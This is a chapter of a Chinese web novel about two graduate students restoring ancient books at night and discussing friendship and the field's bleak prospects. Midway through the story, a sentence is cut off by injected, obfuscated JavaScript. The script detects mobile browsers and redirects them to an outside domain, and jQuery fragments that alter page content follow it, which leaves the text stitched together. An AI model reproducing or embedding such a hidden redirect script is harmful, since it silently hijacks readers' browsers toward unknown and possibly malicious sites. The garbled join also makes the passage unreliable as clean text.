林序南的手指微微一顿，心口像是被什么轻轻击了一下，呼吸不自觉地乱了半拍。
“……还好。”他低声答，声音轻得像落在纸页上的灰，努力让自己听起来平稳，连尾音都小心翼翼地收着，像是自己都不太确定。
“只是‘还好’吗？”许南乔笑了一声，声音不大，却在这安静的夜里显得格外清晰。
他微微侧过身，看着林序南的侧脸，眼底藏着浅浅的光，带着一丝不易察觉的探寻，“我看你，挺在意他的。”
林序南垂着眼，没有回答。
他不知道该怎么回答。
说不在意吗？可他的确在意。
说在意吗？又好像太过轻率。
他只是觉得心口那团闷意怎么也散不去，像被夜色紧紧裹住，连呼吸都带着涩意。
但他又不知道能做些什么去缓解的茫然无措。
“其实……”许南乔顿了顿，声音轻得像风，却带着一丝生涩的认真，“你不用那么防备我。”
林序南指尖一抖，险些将笔从手里滑落。他下意识想找个理由搪塞，却发现脑子里一片空白。
“我只是……”许南乔轻轻咬了咬下唇，像是组织措辞，片刻后才低声道，“我只是……想和你熟一点儿。”
昏暖的灯光下，他的睫毛在镜片后微微颤动，投下浅淡的阴影。
“说不定，”许南乔顿了顿，像是在努力把话说完整，“我们可以……做朋友。”
他忽然笑了。
那笑意很浅，浅得几乎称不上笑，却让他的神色重新变得平静温和。
他抬起眼，看向对面的人，眼底的晦暗和慌乱在一瞬间退了下去，取而代之的，是他一贯的从容。
两人四目相对，灯光静静地笼在他眼底，映出一点疲惫的灰，和几乎看不见的笑意。
“好啊，”他的声音很轻，带着一丝沙哑，“做朋友。”
就像重新戴上了熟悉的面具，他收起了所有不安与慌乱，眼神澄澈，笑意得体，仿佛从未有过任何破绽。
话音落下，修复室里重新安静下来。
灯光映在两人中间，笔记本上密密麻麻的字迹像一片安静的森林，夜风从窗缝里钻进来，带着一点潮冷。
许南乔没有继续说话，只是低头继续翻看残页，指尖在字里行间游走，眉心微蹙，像是遇到了解析困难的公式。
夜，越发深了。
修复室的灯光因为长时间未关，发出细微的嗡鸣，像是在无声地提醒着时间的流逝。
林序南靠在桌边，眼皮有些沉重，笔尖在纸上停顿了很久，才重新动起来。
旁边的许南乔也放下笔，揉了揉酸涩的眼睛，指节在桌面上轻轻叩了两下，打破这份漫长的静谧。
“再有几个小时就该有人来了吧。”
许南乔打了个哈欠，眼角微微泛红，镜片后那双眼睛因为困倦而蒙上了一层薄雾，仿佛带着点点水光。
林序南看了看手表，指针停在凌晨两点的位置，静静地走着。他点了点头，声音很轻，“两点了……再等几个小时吧。裴师兄一般来的，都很早。”
“裴博士可是我们专业的传奇呢。”
许南乔顺着他的话接了下去，语气不带起伏，像是在背诵客观事实，“每年都有好几篇高水平论文，每年公开的项目立项，有一半都和他的名字挂钩。我导师总在开组会时夸他，说我们也该像他一样努力。”
林序南听着，只是微微笑了笑，指尖无意识地摩挲着纸面，声音轻得像是要散进夜色里。
“裴师兄……是很厉害。”
“不过，”许南乔推了推眼镜，继续以那种呆板又冷静的语气说，“一直听说他脾气不好。听说，之前有个硕士生，因为他差点不能毕业。”
林序南的手指猛地一顿，握笔的动作僵在半空中，嘴角忍不住抽了抽。
——那个差点不能毕业的硕士生，就坐在你面前啊。
他忽然觉得有点好笑。
说到这里，许南乔侧过头看着林序南，声音放轻了一些，带着一丝疑惑和认真，“但是，他对你……好像很好，而且听他们说裴博士……只允许你叫他师兄。”
林序南的眉头微微皱了皱。
现在是……
挺好的。
“但是真的没有想到，裴博士这么个前途无量的人能接手古籍修复的项目，这个课题……可真的太冷门了。”
许南乔靠在椅背上，仰头看着天花板，眼神里带着一点困倦的恍惚。
“现在看着咱们做得风生水起，但我导师说，这种课题，说不定哪天就会被拦腰砍了。”
林序南没有说话，只是低下头，睫毛在昏黄灯光下投下浅淡的阴影，唇角紧紧抿成一条细线。
“其实也正常。”
许南乔轻声道，语气没有感情色彩，像是在陈述一份文献结论，“这种不赚钱也没前景的方向，国家的经费再宽裕，也不可能一直投入吧。”
“……嗯。”
林序南轻轻应了一声，嗓音有些发涩。
他的脑海里忽然浮现出很久以前看过的一条旧新闻。
那位老人，是最早一批古籍修复师。
那是一位古籍修复大师的葬礼。
用了一辈子，修了几千卷残破文献，参与制定了不少行业标准，晚年却连一块像样的墓碑都没有。
那天，殡仪馆的大厅很冷清，除了家属，只有寥寥几个学生。
他记得画面里的那位老人的弟子，也是业界颇有声望的人了，站在灵堂前，望着那幅泛黄的遗像，沉默了很久。
最后，他只是低低地说了一句——
“这条路，走到最后，就只剩自己。”
那时的林序南，还年轻，懵懂得只觉得心口发冷，夜里翻来覆去睡不着。
他不懂，为什么会只剩自己。
可现在，他好像懂了。
“修复这种东西吧，”林序南轻声开口，声音轻得像纸页翻动，“从来都不是热门的。”
“没有人关心那些破破烂烂、看不懂的老纸头，也没有人真的在意，它们能不能留下来。”他轻轻地吸了口气，像是下定论一般，“只有修的人在意。”
许南乔看着他，推了推眼镜，没有接话。
昏黄的灯光下，林序南的侧脸带着一点说不出的清冷，眉眼安静，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922463|175560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却又藏着难以言说的执拗。
“可就算没人关心……”
林序南忽然笑了，笑意浅淡却带着几分凄凉，声音轻到几乎要散进夜色里，“总要有人，去修吧。”
“难道你打算这条修复的路，一路走到黑吗？”
许南乔的语气里带着止不住的诧异，眼底闪过一丝不解。
他以为，林序南和自己一样，都是为了履历、为了发几篇顶级期刊，趁着课题风头正盛，踩着这股东风往前走的人。
他没想到，会听见这样的回答。
林序南没有立刻回答。
他只是低下头，指尖摩挲着那页残破的古纸，触感干涩粗糙，带着微弱的起伏，像人的掌纹一样，独一无二。
他的眼前，仿佛再次浮现出多年前论坛上的那个场景。
那是一个行业学术论坛的主会场。
灯光明亮，座无虚席，台下坐着各领域的教授、博导、专家学者。
而那个站在台上的人，看上去冷淡高傲，眼神疏离，西装平整，眉眼间带着一丝让人不敢靠近的凌厉。
可当他开口时，字字句句却几乎带着乞求。
“……这些古籍，不能丢。”
“如果我们现在不修，以后就再也没有机会了。”
大屏幕上，投射着那些裂成碎片、字迹模糊的残页。
它们安静地躺在那里，脆弱，却又倔强得近乎残酷。
那一幕，深深地刻进了林序南的脑海。
那是让他无数次深夜里惊醒，仍会想起的声音。
也是那天之后，他才下定了决心。
他拿着那份修改了不知道多少遍的项目申报书，敲响方砚办公室的门。
那是他一手推动的项目。
没有课题代码，没有组内资源倾斜，甚至连导师都劝过他——
“别把时间浪费在这种没有前景的方向上。”
“古籍修复？经费批得下来才有鬼，去做点实打实能发论文的东西不好吗？”
可他还是写了。
一个字一个字地查，一个图一个图地改，去图书馆翻找那些从未上过数据库的线装书，带着手套，轻轻翻开泛黄脆裂的纸页，鼻息间是旧纸张与霉斑交杂的味道，眼睛酸涩到通红。
他还去拜访了几个早已淡出科研圈的老先生，带着刚打印好的初稿，顶着冷风一路骑车过去，听他们讲这些残破古籍背后埋葬的历史与故人。
那些老先生们，早已不被人提起了。
可他们的眼神，在翻看他的计划书时，忽然亮了起来。
项目申报书里的每一个字，都踩着他当时最清晰也最孤独的信念。
那信念，起于那句“这些古籍，不能丢。”
“……序南？”
许南乔的声音轻轻唤回了他的神思。
林序南眨了眨眼，眼底那层晦暗慢慢散去，像夜色里被风吹开的薄雾。
他抿了抿唇，轻轻笑了一下，那笑意淡得几乎要溶进夜色里。
“如果不走到黑。”他说，声音轻得像夜风拂过纸页，带着一点沙哑与疲惫。
“那当初……又为什么要开始呢？”